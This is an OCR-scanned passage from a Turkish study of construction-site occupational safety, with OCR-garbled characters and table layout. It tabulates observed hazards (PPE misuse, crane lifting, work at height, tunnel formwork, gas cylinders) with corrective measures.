kosullara uygun olacak sekilde yaya yolu ve
arag¢ yollar1 olarak isaretlenerek ayrilmalidir.
Is makineleri, binek araclar igin ayr1 olacak
sekilde alanlar belirlenerek isaretlemeler
yaptlmalidir.

Giris-Cikis
yollarinin belirlenmemesi

Tipler i¢in standartlara uygun
depolama alani bulunmamasi,
gelisi giizel depolama
yapilmasi

Kule Ving, Elektrik Panosu vb.
yerlere topraklama yapilmamig
olmamasi

Tim alanlarin giivenli giris-¢ikis yollar1
belirlenmeli ve alanlara gerekli isaretler
saglanmalidir.

Temin edilecek malzemelerin 6zellikleri
yonetmelikteki depolanma kosullar1 da goz
oniinde bulundurularak uygun biyiikliikte,
tipte depolama alanlar1 ayrilmali ve bu
alanlarin sinirlari belirlenmelidir.

Calisma oOncesi tiim makine, ekipman vb.
topraklama o&lgliimleri yapilmali ve kayit
altina alinarak saklanmalidir.

Is makinelerinin periyodik
bakim kayitlarinin tutulmamasi

Kullanilabilecek ekipmanlarin, makinelerin,
el aletlerinin 6nceden belirlenip kontrol
listeleri olusturulmalidir. Kontrol listesinde
periyodik  muayeneye tabi  olanlarin
muayeneleri saglatiimadan caligma
yaptirtilmamalidir.

Tablo 2 incelenecek olursa; insaat kurulum asamasinda genellikle yasal zorunluluk

olmasi sebebiyle ISG hizmeti alindig1 fakat kurulum asamasinda is giivenligi uzmam ve isyeri

hekiminin bilgisi disinda gergeklestirildigi gdzlemlenmistir. Bu sebeple mobilizasyon

caligmalar1 sonrast hem siire¢ igerisinde hem siire¢ sonrasi alinmasi gereken tedbirlerin

alimmamasindan kaynakli riskler meydana gelmektedir. Kurulum asamasinda is giivenligi

uzmani ve i§ yeri hekiminin goriis ve onerileri dikkate alinmalidir.
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Tablo 3. Kisisel koruyucu donanimlar arastirma bulgular1 ve ¢oziim 6nerileri

Uygunsuzluk/ Gézlem Ac¢iklama Tespit Gorseli Diizeltici/Onleyici Faaliyet

Saha alaninda zorunlu
KKD’lerin tam kullanilmamasi
(baret, yelek vb.)

Saha alanma zorunlu KKD’ler (baret, yelek,
ayakkab1 vb.) eksiksiz temin edilmeli ve
kullanilmas1 saglanmalidir.

Ise 6zel KKD ‘ler temin edilerek, is sirasinda kullanimi
saglanmalidir. Yiksekte c¢aligmalarda tam viicut tipi
emniyet kemeri kullanilmalidir.

Ise o6zel KKD kullanilmamas: |
(emniyet kemeri).

KKD’ler kullanilmalari gereken her yerde talimatlara
uygun sekilde kullanilmalidir. Emniyet kemerinde ¢ift
lanyard olmali, lanyard yerine karabina
kullanilmamalidir.

KKD’nin yanlig kullanimi

Tablo 3’e gore insaat alaninda kullanilmasi zorunlu Kisisel Koruyucu Donanimlarin
(KKD) genellikle teminin yapildigi fakat personellerin ¢ogunlukla kullanmadig
gozlemlenmistir. Bu da toplu korunma tedbirlerinin yeterli olamadig1 alanlarda personellerin
sagligin1 tehlikeye atmasina sebep olmaktadir. Bazi santiye alanlarinda emniyet kemeri,
spanzet, yoyo vb. yiiksekte calismalar i¢cin gerekli koruyucu donanimlar temin edilmedigi
veya eksik temin edilmedigi gdzlemlenmistir. isverenler yapilacak calismaya uygun ve yeterli
miktarda koruyucu ekipmani temin etmeli, personel ise temin edilen ekipmani dogru, amacina
uygun kullanmali ve muhafaza etmelidir.

Is makineleri ile yapilan caligsmalarda (Tablo 4), is makinesini kullanan kisilerden ehil
olmayanlar, is makinesinin bakimlarinin tam olmayanlarin mevcut oldugu, calismalar 6ncesi
alan i¢in ve ekipman ic¢in gerekli kontrollerin saglanmadigi, olumsuz hava kosullarinda
calisma yapildigi gdzlemlenmistir. Is makineleri periyodik olarak ve kullanan personel
tarafindan da her kullanim 6ncesi diizenli olarak kontrole tabi tutulmalidir. Kullanan personel
mutlaka gerekli siirlicli belgesine sahip ehil olmali, kullanim talimatina uygun kullanmalidir.
Glivenlik  mesafelerine  dikkat  edilmeden, alan  sinirlandirilmadan  c¢alismaya

baslanilmamalidir.
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Tablo 4. is makineleri kullanin arastirma bulgular1 ve ¢dziim 6nerileri

Uygunsuzluk/Gézlem
Aciklama

Tespit Gorseli

Diizeltici/Onleyici Faaliyet

Gerilim  altinda  damper :

acikken hareket edilmesi

Is makineleri bom veya damper acik vaziyette
kullanilmamalidir. Hat yakininda ¢alismanin zorunlu oldugu
yerlerde, g6zetmen kontroliinde ¢alisma yapilmalidir.
Gozetmen ¢alisma alanindan ayrilmamali, operatdrle iletisim
halinde olmalidir. Hat mesafesine dikkat edilmeli, enerjiye
temas edilmesi durumunda ivedilikle ilgili kurumla irtibata
gecilerek enerji kesilmelidir.

Is makinesin de insan |

taginmasi

Is makinelerinde operatér disinda kimse olmamali, is
makineleri tiretim amaci disinda kullanilmamalidir.

Arizali makinenin  sapan |

kullanarak santiye alanindan
¢ikartlmasi

Arizali bir makinenin santiye igerisinden gétiiriilmesi
esnasinda, kullanilan malzemenin aragtan ayrilip zarar verme
ihtimaline karsin, uygun ¢eki demiri kullanilmalidir.

Is makineleri caligmalarinda

Is makineleri arasinda manevra alanlari olacak sekilde

giivenlik mesafesi | giivenlik mesafesi birakilmalidir.  Calisma  sirasinda
birakilmamasi koordinasyonu saglamast i¢in isaretci gorevlendirilmelidir.
i kinesini fren | . o . .
3 fnakmesiun en Is makinelerinin diizenli bakim ve kontrolleri yapilmali, ariza
lambasinin ¢aligmamasi, . C
e /sikintt durumda 6nce tamiri /degisimi saglanmalidir.
bakim eksikligi

s  makinelerinde  goris ||

mesafesinin ustiinde,
sabitlenmeden yiik taginmast

Is makinelerinin gérme mesafesini kapatacak sekilde yiik
tasinmasi yapilmamali, malzemeler aragtan devrilmeye karsi

= | sabitlenmelidir.

Is makinesinin korkuluk,.

1zgarasinin olmadigi,
periyodik bakimlarinin

olmadigi/temin  edilmedigi |&

tespit edilmistir.

Korkuluk ve 1zgaralar1 tam ve eksiksiz olmalidir. Periyodik
bakimlar1 yapilarak, kayitlari bir niishada ilgili birimlere
temin edilmelidir.

Is makineleri ile kisiler arasi
giivenlik mesafesi olmamast

Is makinalarina 25 metre mesafeden fazla yaklasmak tehlikeli
ve yasaktir. Birbirini etkileyebilecek caligmalarda kesinlikle
giivenlik mesafesi birakilmalidir.
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Tablo 5. Kazi isleri aragtirma bulgular1 ve ¢6ziim 6nerileri

Uygunsuzluk/Goézlem

Aciklama Tespit Gorseli Diizeltici/Onleyici Faaliyet

Kazi kenarinda malzeme istiflemesi yapilmamali, mutlaka emniyet
mesafesi bulunmalidir. Gilivenlik mesafesi dahilinde de devrilme,
. | akma riskine karsin bariyer vb. giivenlik tedbirleri alinmalidir.

Kazi kenarma malzeme
istiflenmesi

Kazi alanma erisimler giivenlikli, korkuluklu, saglam yap: da
& | gegitlerle saglanmalidir. Olast acil durumlarda alandan tahliyede

Kazi alanma giris ¢ikis igin

it sagl
gectt saglanmamast zorluk saglamayacak sekilde tesis edilmelidir.

Kazi islerinde (Tablo 5), kazi islemi yapildiktan sonra alana giris ¢ikis i¢in uygun
gegitler saglanmadigi, kazi kenarlarina malzeme istifi yapildig1 goriilmektedir. Kazi alanlarina
giivenli erigimi saglayacak sekilde saglam yapili, korkuluklu gegitler saglanmalidir. Kazi
etrafinda malzeme istifi yapilmamali, miicbir hallerde mutlaka devrilmeyi Onleyici giivenlik
tedbirleri alinmalidir.

Kaldirma operasyonlarinda (Tablo 6), uygun sapanlama yapilmamasi, kaldirilacak
malzemeye uygun ekipman kullanilmamasi, kaldirma o6ncesi alan sinirlandirilmasi
yapilmamasi, kaldirma siirecinde gorevli personeller arasi iletisim i¢in ekipman temin
edilmemesi, kaldirma siirecinde yer alan personellerin egitimli olmamasi, kaldirma
ekipmanlarinin periyodik ve rutin kontrollerinin yapilmamasi, uygunsuz hava kosullarinda
kaldirma yapilmasi ve kaldirma islemi sirasindaki talimatina uygun olmayan hatali
hareketlerde risk teskil ettigi gézlemlenmistir. Kaldirma ekipmanlar1 her kullanim 6ncesi ve
gerekli hallerde periyodik ve rutin kontrolleri yapilmali, uygun hava kosullarinda ehil

personeller tarafindan talimatina uygun olarak kaldirma operasyonu yapilmalidir.
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Tablo 6. Kaldirma operasyonlari aragtirma bulgular1 ve ¢6ziim 6nerileri

Uygunsuzluk/Gézlem
Aciklama

Tespit Gorseli

Diizeltici/Onleyici Faaliyet

Ving kurulumlarinm yiik
tagima sekline goére salinim

vb. durumlarda birbirini
etkileyebilecek  alanlarda
kurulmasi, isaretei
atanmamasi

Ving kurulumunda ekipman
eksikligi/hatali kurulum

Ving kurulumlari birbirinin ¢alismalarindan etkilenmeyecek sekilde
kurulmalidir. Tim ving c¢alismasi i¢in bir egitimli isaretgi
gorevlendirilmelidir. Ving operatorii ile isaret¢i iletisiminin
kesintisiz olmasi i¢in, operatorlere ve isaretgilere telsiz temin
edilmelidir. Ayrica her ving igin gorevlendirilen isaretciler kendi
aralarinda da iletisim halinde olmalidirlar.

Kule vincin kurulumu standartlara uygun olmali ve tim pim vb.
pargalar eksiksiz olmalidir. Standart dist ekipman
kullanilmamalidir.

Hava sartlarinin  uygun
olmamas1 durumunda kule
ving /kaldirma ¢aligmalari
yapilmasi (63 km)

Kaldirma  ekipmanlarinin
her kullanim 6ncesi kontrol
edilmemesi, kanca emniyet
mandalinin kullanim
sirasinda hasarli olmasi

Kule vingler, hizi saatte 30 km’yi asan riizgarli havalarda
calistirllmamalidir. Cilinkii siddetli riizgar, tasinan yiikiin kontrol
edilmesini zorlastirarak kazalara neden olacaktir. Kule vingler
caligmadigi  zaman diliminde vincin bomu serbest hale
getirilmelidir. Hava sartlarinin uygun olmast halinde sorumlu
personel gerekli kontrolleri yaptiktan sonra ekipman uygun
bulunursa ¢alismaya tekrar baslanilmalidir.

Kanca emniyet mandallar1 kanca tizerindeki yiikiin kanca {izerinden
kayip kurtulmasima engel olur. Is giivenlik kurallarna gére biitiin
kancalarda olmas1 gereken aparattir ve her kullanim 6ncesi kontrol
edilmelidir. Arizali olanlarin tespiti halinde derhal degisimi
saglanmalidir

Halatlarin deforme olmasi,
kullanim o6ncesi  kontrol
edilmemesi

Ving ve tiim kaldirma islemi Oncesi halatlar, kancalar vb. tim
techizat1 kontrol edilmeli eskimis /deforme olmus olanlar ivedilikle
degistirildikten sonra ¢alismaya baslanilmalidir.

Demir filizlerin bag teliyle |

dik vaziyette kaldirilmasi

Yiikler agirhik merkezleri dikkate alinarak, sapanlama ve bogma

¥ | yapilarak kaldirtlmalidir.

Kaldirmanin ~ malzemeye
uygun yaptlmamasi

Kaldirma yapilirken malzemeler agirlik merkezine uygun belirlenen
kaldirma noktalarindan sapanlama yapilarak kaldirilmali, bag
tellerinden kaldirma yapilmamalidir.

Ekipmanlarin  kontroliiniin
yapilmamasi, hasarli
ekipmanla uygunsuz
kaldirma yapilmasi

Kanca emniyet mandallar1 kanca iizerindeki yiikiin kanca iizerinden
kayip kurtulmasina engel olur. Tim kaldirma aparatlart her
kullanim 6ncesi kontrol edilmelidir, arizali olanlarin tespiti halinde
derhal degisimi saglanmalidir.
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Uygunsuzluk/Goézlem
Aciklama

Tespit Gorseli

Diizeltici/Onleyici Faaliyet

Yiiksekte kaldirma
operasyonlarinda
personellerin emniyet
kemeri kullanmamasi, yiike
elle miidahale edilmesi

Tiinel montaj elemaninin
ving kancasina takilarak
kaldirma yapilmasi

Yiiksekte c¢aligmalarda tam koruma saglanamayan alanlarda
personeller tam viicut tipi parasiit emniyet kemeri giyinerek gati
alanlarina saglanan ankraj noktalarina, kontrol ettikten sonra
baglanmalidir (yaya, spanzet vb.). Yiike elle miidahale edilmemeli
kilavuz halat kullanilmadir.

Tiinel kaliplar kaldirma iicgeni ile 6zel kaldirma {iggeni somunu,
yatay panodaki delikten gegen kaldirma milini gerektigi kadar
sikarak tiinele baglanti saglayarak kaldirilmalidir. Tiinel montaj
aparati, tiinel kaliplar1 kaldirmak ve tagimak amaciyla kullanilamaz

Kaldirma islemi yapilacak |}
alanin  Sinirlandiriimamasy/ |
personel {izerinden yiik [

gegirilmesi

Alan  kaldirma  operasyonu Ooncesi  bosaltilmali  ve
sinirlandirtlmalidir.  Yiik  kesinlikle — personel  {izerinden

~ | gegirilmemelidir. isaret¢i alandan ayrilmamalidir. Alana personel

y | girisinin tespit edilmesi durumunda isaret¢i alandan uzaklastirmali,
ving operat0ril ise ving kornasina basarak uyarmalidir.

Tablo 7. Beton dokiimii arastirma bulgular1 ve ¢6ziim Onerileri

Uygunsuzluk/Gézlem
Agiklama

Tespit Gorseli

Diizeltici/Onleyici Faaliyet

Is talimatina uygun hareket
edilmemesi, tehlikeli
hareketler

Beton pompasi operatdrii kendini ve c¢evredeki diger ingalarin
hayatin1 tehlikeye diigiirecek tehlikeli hareketlerden kagimmalidir.
Durum tespitinde uyar1 ve tekrarlamasi durumunda cezai islem
yapilmalidir.

Beton
Pompasinin ayaklarinin
sabitlemesinin yapilmamasi

Beton pompasmin sabitleme ayaklar1 saglam zemin {izerine

Y | oturtulmalidur. Kurulacagi alan  oOnceden  diizenlenerek

malzemelerden armdirilmali, gerekli hallerde de ayaklarinin altina

plakalar yerlestirilmelidir.

Beton pompas1 kurulan
alanda, alan
sinirlandirilmast
yapilmamasi

Beton dokiimiinde
calisan personelin beton
ddkiilen hortumu
yonlendirirken bina
acikligina giivenlik
onlemi almadan sirt1
doniik caligmasi

Beton pompasinin kuruldugu alan, iglem yapilig1 alan ve alt kotlarina
girislerin engellenmesi igin alan simirlandirilmasi yapilmalidir.

Beton dokiimiinde caligsan personellere gerekli hallerde emniyet kemeri
temin edilerek, kullanarak ¢aligmasi saglanmalidir. Personel hortumun
savrulma ihtimalini gbz Oniine alarak agikliklara sirt1 doniik islem
yapmamalidir.

Beton dokiimii calismalarinda (Tablo 7); beton pompasinin kurulumunun uygun

yapilmamasi, alan kontrolii yapilmadan caligma yapilmamasi, betonun alanin tasiyicilig

iizerinde dokiilmesi veya alt kotta yeterince destekleme yapilmamasi, ¢alisanlarin ¢aligma

talimatina uygun hareket etmemesi ile beton dokiilen alandan etkilenilebilecek alanlarda

calisma yapilmas1 hallerinde risk teskil ettigi gozlemlenmistir. Beton dokiimii isi talimata

uygun yapilmali, tehlikeli hareketlerde bulunulmamali, ¢alisacak personellere is talimati

teblig edilerek kayit altina alinmalidar.
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Tablo 8. Elektrikli ekipman, makine, el aletleri ile ¢aligmalardan aragtirma bulgulari ve ¢6ziim onerileri

U luk/Gozl ..
AZlgklu::Il:: urhsoziem Tespit Gorseli Diizeltici/Onleyici Faaliyet
Tiim el aletleri, makine, ekipmanlar vb. kullanim 6ncesi
. o : kontrol edilmeli eksikli/ariza tespitinde tamiri/degigimi
Splral_ .Vb' elektrikli el = saglanmadan  kullanilmamalidir.  Spiralin  koruma
aletlerinin koruma E - .
muhafazast ve tutma kolu temin edilerek
muhafazalarmin  ¢ikarilarak |§8
- . |8 tamamlandiktan sonra ¢aligma yapilmalidir. Kullanilan
calisma  yapildigi  tespit

edilmigtir

Daire testere ile kesim igin |&

tezgah saglanmamasi,
kesimin  viicuda dogru (88
yapilmast, KKD (&=
kullanilmamas, :

elektrikli el  aletlerinin  orijinalindeki  koruma
muhafazalarinin ¢ikarilmadan yiiz vizorii kullanilarak
kullanimi saglanmalidir.

Kesim igleri igin  personellere uygun schpa
saglanmalidir.  Personeller  kesici  alet/ekipmani
viicuduna temas edebilecek sekilde kullanmamali, isinin
ehli olmalidir. Personeller saha alaninda zorunlu (baret,
yelek, ayakkabi) ve ise Ozel (yiiz vizorii, koruyucu
gozliik, maske) tam ve eksiksiz kullanmalidir.

Fis basligt olmadan enerji
alimu yapilmasi

Tim elektrikli ekipman ve seyyarlar kullanim oncesi
kontrol edilmelidir. Fig bagliklari iptal
edilmig/topraklamas1 iptal edilmis/ izolesi hasarl
ekipmanlar kullanim dis1 birakilmali ve uygun ekipman
temin edildikten /tamiri saglandiktan sonra ¢aligma
yapilmalidir.

Demir biikme makinesinin
acil  durdurma  butonunun
olmamasi,

Acil durdurma butonu olast acil durumlarda makinenin
kapatilabilmesi i¢in hayati onem tasimaktadir. Tim
ckipmanlar kullanim Oncesi  kontrol edilmelidir.
Eksiklik/ ariza durumunda c¢alisma yapilmamali,
degisimi /tamiri saglandiktan sonra kullanilmalidir.

Demir biikme makinesinin
ayak pedalinin el ile
kullanilmasi

Makineler
kullanilmalidir.

kullaniom  talimatina  uygun olarak

Ise 6zel ve zorunlu KKD’si
olmayan, pano yakininda,
kaynake1 olmayan personelin
kaynak yaptigi tespit
edilmistir.

Olumsuz hava kosullarina
kars1 korunmadigi,
sabitlenmegi ve kapaklarmin
kilitli olmadig: tespit
edilmistir.

Kablo bagliklarinin ev tipi
olmasi, kablolarin koruyucu
icerisinden gegirilmedigi ve
su ile tespit edilmistir.

Kaynak isini sadece kaynak¢i sertifikasina sahip
personel yapmalidir. Kaynak¢1 personel saha alaninda
zorunlu (baret, yelek) kullanimina ek olarak, kaynak
maskesi ve maskesi de kullanmalidir. Sicak caligmalar
pano, kimyasal vb. tehlike kaynaklar1i yakininda
yapilmamali, sicak c¢aligmalarda mutlaka yangin
sondiirme tiipli bulundurulmalidir.

Elektrikli panolarinin kapaklar siirekli kapali ve kilitli
olmali, elektrik akiminin gectigi tiim alanlarin koruma
altinda olmasi saglanmalidir. Elektrik panolarinin su ile
temasin Onlenmesi i¢in panolarin korunakli alanlara
¢ekilmesi veya sundurma yapilmasi saglanmalidir.
Elektrikli ekipmanlarin /panolarin /kablolarin su ile
temasint Onleyecek tedbirler alinmalidir. Kablolar su
hortumu vb. temast kesecek sekilde koruyucu
icerisinden  gegirilmelidir. Tim  fis  baslklar
dayaniklilig: yiiksek kaucuklu tipte olmalidir.

Elektrikli ekipman, makine, el aletleri ile ¢alismalarda (Tablo 8); periyodik, rutin

kontrollerin yapilmamasi, giivenlik tedbirlerinin iptal edilmesi durumlarinda, yetkisiz

personelin miidahalesi durumunda, kullanim amaci disinda kullanimlar ile talimatina uygun
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kullanilmamas1 hallerinde risk teskil ettigi gozlemlenmistir. Tiim makine, ekipman ve el
aletleri kullanim Oncesi kontrol edilerek eksiklik veya ariza durumunda giderilmeden
calismaya baslanilmamalidir. Diizenli kontrol edilerek kayit tutulmalidir. Tiim makine,
ekipman, el aletleri sadece kullanim amaclarima uygun ve talimatlari dogrultusunda

kullanilmalidir.

Tablo 9. Merdivenler aragtirma bulgular1 ve ¢6ziim dnerileri

1 ozl ..
Ez;gl:l‘:;’: uliGozlem | 1 it Gorseli Diizeltici/Onleyici Faaliyet
Kullanilan platformun Calisma alanlarmma standartlara uygun korkuluklu platformlar
standartlara uygun temin edilmelidir. El yapimu platformlar saha alanindan ivedilikle
olmamasi uzaklastirtlmalidir.

Ise uygun uzunlukta EN 131 standartlarina uygun merdiven temin
edilmeli. Alt ve Ustten sabitlenmelidir. El yapimi merdivenler
ivedilikle saha alanindan uzaklagtirilmalidir. Alanlara saglanan
merdivenler son {i¢ basamagmin kullanilmasma ihtiyac
kalmayacak sekilde tesis edilmelidir.

Kullanilan  merdivenlerin
standartlara uygun
olmamasi

Tiinel kaliplara erigsim igin
uygun merdiven
saglanamamasi

Tiinel kaliptan inis ve ¢ikiglarda, dis cephe iskelelerine inis ve
& | cikislarda 6zel olarak yapilan kalip lizerine montajli merdivenler
kullanilmalidir.

Saft bosluklarinin Onleri/ iizerleri diismeye karsi, uygun bir
bi¢imde kapatilmalidir. Calisma alanlarina tehlikeli alanlardan
erisim saglanmamalidir. Portatif el merdivenleri diizgiin, saglam,
6lglisii uygun, sabit pabuglar tizerinde kullanimi sirasinda tist-alt
uclart  sabitlenerek veya kaymayacagi sekilde tedbirlerle
ayaklarinin kaymasi 6nlenmelidir.

Katlar arasi gegislerin saft
bosluklarindan, standart
dis1 merdivenlerle tehlikeli
sekilde yapilmasi

Katlar aras1 gegisler igin
yapilan sabit merdiven
etrafinda korkuluk
olmadig tespit edilmistir.

Sabit kat merdivenlerinden diismeyi O6nleyecek sekilde korkuluk,
giivenlik ag1 vb. ile bosluk kalmayacak sekilde cevrilmesi
saglanmali ve alana levhalar saglanmalidir.

Bloklara girisin tehlikeli | |

sekilde yapilmas! Bloklara gecis icin korkuluklu gegisler saglanmali, el yapimi

malzemeler alandan uzaklastirilmalidir.

Alana girig- ¢ikis igin
merdiven  saglanmamasi,
tirmanarak tehlikeli sekilde
erigim saglanmasi

Mesafe farki olan alanlara erisim i¢in standartlara uygun
merdiven temin edilmeli. Tirmanarak vb. tehlikeli sekilde erigim
saglanmamalidir.

Merdiven ile yapilan calismalarda (Tablo 9); merdiven kullaniminda standart disi
merdiven kullanimi, sabit merdivenlerden diismeyi Onleyici tedbirlerin alinmamasi,
merdivenlerin kullanim amact disinda kullanimlart ile talimatina uygun kullanilmamasi
hallerinde risk teskil ettigi gézlemlenmistir. Ayrica tiinel kalip ile kat bitimi tamamlanirken,

paralel olarak merdiven imalati genellikle yapilmadigi ve alanlarda toplu koruma onlemleri
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cogunlukla alinmadig1 gozlemlenmistir. Bunun neticesinde personeller katlar arasi, bloklara
erisim icin uygun olmayan sekilde erisim saglamakta is kazasi riski olusmaktadir. insaat
stirecinde planlama saglikli yapilmali ve korkuluk siireci yapilana kadar toplu korumay1
saglayacak korkuluk, giivenlik aglar1 vb. onlemler alinmalidir. Sabit merdiven yapilmasi
gereken alanlara imalatin yapilamadigi miicbir hallerde mutlaka giivenli erisimi saglayacak
korkuluklu, standartlara uygun el merdivenleri alanlara sabitlenerek temin edilmelidir. Saha
alanlarina yeterli say1 ve ebatta standartlara uygun el merdivenleri temin edilmeli, personeller

giivenli kullanima ile ilgili bilgilendirilmelidir.

Tablo 10. Yiiksekte caligmalar arastirma bulgulari ve ¢6ziim Onerileri

Uygunsuzluk/Gézlem

Aciklama Tespit Fotosu Diizeltici/Onleyici Faaliyet

Ahsap kalip ekibin tiinel
kalip kurulamayan alandaki
¢alismalarda giivenlik
onlemleri alinmadan ¢alisma
yapilmasi

Yiiksekte caligmalarda oncelikle toplu koruma dnlemleri alinmalidir
(korkulu, giivenlik ag1 vb.). Tam koruma saglanamayan alanlarda
personeller tam viicut tipi parasiit emniyet kemeri giyinerek saglam
bir ankraja baglanmalidir (yaya, spanzet vb.)

Personellerin gegis amagh kullandigi alandaki siireksizlik meydana
getiren bosluklarin  toplu koruma Onlemleriyle kapatilmamasi,
yiiksekten diismelere sebebiyet verebilmektedir. Bu sebeple bu
| alanlarin bariyer, korkuluk ag vb. yontemlerle ivedilikle kapatilmasi
' | gerekmektedir.

Yiiksek kotlardaki || &
bosluklarda toplu koruma |
tedbirlerinin alinmamasi

Ahsap kalip ¢at1 alinlarinin
yapmminda v yliksekte
yapilan diger c¢aligmalarda
personellerin emniyet kemeri
giyinmedigi tespit edilmistir.

Tim yiliksekte yapilan ¢aligmalar sirasinda personellerin yiiksekte
caligmalarda zorunlu olan emniyetini giyinerek baca ankrajina
takmasi gerekmektedir.

Demir montaj  ekibinin
yiiksekte yapilan
calismalarda emniyet |
kemeri giyinmegi tespit
edilmistir.

Tim yliksekte yapilan caligmalar sirasinda personellerin yiiksekte
caligmalarda zorunlu olan emniyetini giyinerek baca ankrajina
takmasi gerekmektedir.

Kor cephedeki alanlarda

yapilan caligmalarda Standartlara uygun korkuluk vb. temin edilmis giivenlikli ¢alisma
giivensiz ~ platform  alam platformlar1 saglanmalidir. Saglanan platformlarinin tagiyiciligi
olusturuldugu ve yiksek olmali ve tagima kapasitesi temin edilmelidir. Personeller
personellerin KKD yiiksekte emniyet kemeri ile ankraj noktasina baglanti yaptiktan sonra

kullanmadig1 tespit
edilmigtir.

calismaya baslamalidir.

Yiiksekte bakim- onarim
¢alismalarinda tehlikeli
hareketlerde  bulunulmasi,
KKD kullanilmamasi

Tim yiiksekte caligmalarda emniyet kemeri kullanimi zorunludur.
Personeller gorev taniminda gegen isleri talimatina uyarak ifa etmeli,
aksi hallerde uyari verilmeli, tekrart durumunda cezai islem
uygulanmalidir.

Yiiksekte yapilan calismalarda (Tablo 10), bir¢ok santiye alaninda toplu koruma
tedbirleri hizli imalat siireci sebep gosterilerek alinmadigi, toplu koruma tedbirlerinin
almmadig1 alanlarda kisisel koruyucu tedbirlerde (emniyet kemeri, spanzet, yoyo vb.) ya

alinmamakta ya tiim ¢alisanlara yetecek oOlgiitte saglanamamakta ya da personeller tarafindan
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kullanilmadig1r gozlemlenmistir. Toplu

koruma tedbirlerinin yeterli olmadigir alanlarda

mutlaka personellere kisisel koruyucu donanimlar verilmeli ve kullanimi1 saglanmadan is bast

yaptirtlmamalidir.

Tablo 11. Tinel kalip kurulum, ¢aligma, sokiim ¢aligmalar arastirma bulgular1 ve ¢6ziim Onerileri

Uygunsuzluk/Gézlem

Aciklama Tespit Gorseli

Diizeltici/Onleyici Faaliyet

Tinel kalip iskelesinin
kurulum, s6kiim sirasinda,
iskelelerin agurlik
merkezlerinin

ayarlanmadigi, bu sebeple
personellerin sevk sirasinda

agirliklariyla dengeye
getirmeye calistig1  tespit
edilmigtir.

Tiinel kaliplar, elemanlari ve destek malzemelerinin standartlara
uygun temini saglanmalidir. Personeller ving ile hareket halinde olan
kalip iskelelerinin iizerine ¢ikmamalidir.

Tiinel kaliplarin iki duvar
arast zincirle sabitlemesinin
yapilmamasi

Tiinel kalip ve iskele dengesi diizenli olarak kontrol edilmelidir.
Sabitlemeleri yapilmali yan duvarlara sabitlenmeleri i¢in zincirleri
saglanmali ve baglanmalidir.

Yiiksekte caligmalarda
giivenlik ag1  ve kenar
korumasi bulunmamasi

Tiinel kalip iskele aglart ivedilikle temin edilmelidir. Aglar
standartlara uygun olmalidir. Kaliplar {izerine uygun korkuluk
sistemleri yapilmali malzeme/insan diismesi engellenmelidir. Temin
edilmesi gereken iki kalip korkulugu arasi insan gecemeyecek
sekilde yakin olmalidir.

Kalip iskelesindeki ahsap

Tiinel iskele diizenli olarak kontrol edilmelidir. Kalip iskelesinde

platformlarda agiklik deforme, kirik, bosluk tespit edilmesi durumunda montaj
bulunmast . o L
yapilmamali, malzemelerin degisimi/tamiri saglanmalidir.
Tiinel kalip ayaklarina uygun ebatlarda takoz konulmali ve saglamligi
. diizenli olarak kontrol edilmelidir. Ayaklar1 malzeme sokiimii vb.
Tiinel kalip ayaklarinm .. T
L = durumlar da g¢ekme olmamasi i¢in 40 cm kadar bina igerisinde
kurulum = siirecinde  uygun |EREEEE

oturtulmamasi

olmalidir. Ayaklar1 diiz zemin iizerinde olmalidir. Personeller her
kullanim oncesi iskelenin saglamhiginin kontrol etmeli, uygun
olmayan iskelede ¢aligma yapmamalidir.

Tiinel kalip ve malzemeleri

Tiinel kalip malzemeleri saha alaninda depolanmamali, devrilme vb.
durumlarinda almmas1 gerekli tedbirlerde saglanarak uygun
biiyiikliikte stok sahasi olusturulmalidir.

icin uygun stok sahasi
olusturulmamasi

Tinel  kalip  iskelesinin
binanin  tim  cephelerine [
saglanmamasi, iskelelerde [§#*
giivenlik tedbirlerinin |
almmamasi T

Tiinel kalip iskelelerinin binanin tiim agikliklarini ¢evirecek sekilde
montaj1 yapilmalidir. iskele arasinda bosluk bulunmasi, durumunda
dahi iskele kenarlarindaki ahsap genisligi uygun ebatta genis
tutularak, boslugun kapatilmasi saglanmalidir.

Tiinel kalip iskelelerine mutlaka giivenlik aglar1 ve gerekli alanlarina
da harici korkuluk sistemleri temin edilmeli ve sonra galigmaya
baglanilmalidir.

Tiinel kalip kurulum, kullanim ve

sokiim islemlerinde (Tablo 11); Mesleki Yeterlilik

Belgesi (MYK belgesi olmayan is¢ilerin ¢alismasi, uygun olmayan havalarda ¢alisma

yapilmasi, kalip iskelesinin kurulumunun saglam yapilmamasi,

tiinel kalip iskelesinin

giivenlik aginin olmamasi /temin edilmemesi, kat imalat1 ile bina merdivenlerinin yapimi

stirecinin birlikte ilerlememesi sonucu ekiplerin tehlikeli sekilde katlara erisim saglamasi,

42




tiinel kalip kurulum ve sokiimiiniin talimatina uygun yapilmamasi, tiinel kalip kurulamayan
bina alanlarina korkuluklu iskele yapilmamasi, dis iskelelerde malzeme istifi yapilmasi ve
kalip yaglanmasinin giivenlik tedbirleri alinmadan yapilmasi hallerinde risk olustugu
gozlemlenmistir. Calismalarin ehil personeller tarafindan, is talimatina uygun olarak

gergeklestirilmelidir.

Tablo 12. Basingh gaz tiipleri arastirma bulgular1 ve ¢6ziim 6nerileri

Uygunsuzluk/Gézlem Ac¢iklama Tespit Gorseli Diizeltici/Onleyici Faaliyet

Basingli  gaz  tiiplerinin  tiip
kenarindan/ basligindan  sevkinin
yapilmast

Basingli gaz tiipleri uygun tasima ekipmani igerisinde
baglanilarak tasinmalidir.

Basingli gaz tiipleri saha alanina sadece gerekli oldugu adette
getirilmeli fazlasi getirilmemelidir. Basingli gaz tiiplerinin
alanda yer degisimleri i¢in tagima araglar1 temin edilmelidir.
Tasima araglarina tiipler sabitlenmeli ve {izerine gerekli
yasaklayici, uyarici levhalar temin edilmelidir.

Basingli gaz tiiplerinin saha alanina | g
basibos ve islemdeki ihtiyagtan fazla
getirilmesi

Basingli gaz tiipleri ile yapilan calismalarda (Tablo 12); islemin yetkili kisiler
tarafindan yapilmamasi, tiiplerin sabitlenmeden bulundurulmasi ve taginmasi, tiiplerin kontrol
edilmemesi, alanlarin islem sonrasi kontrol edilmemesi ve havalandirilmamasi, alana yetkisiz
kisilerin girmesi, alan yakininda yangin sondiirme cihazi bulunmamasi, uygun depolama
yapilmamas1 hallerinde risk teskil ettigi gdzlemlenmistir. Tiipler mutlaka sabitlenmeli, her
kullanim oncesi kontrol edilmeli, belirlenen alanlarda talimatina uygun muhafaza edilmelidir.
Basinglhi gaz tiipleri ile g¢aligmalar ehil personeller tarafindan talimatina uygun olarak
gergeklestirilmelidir

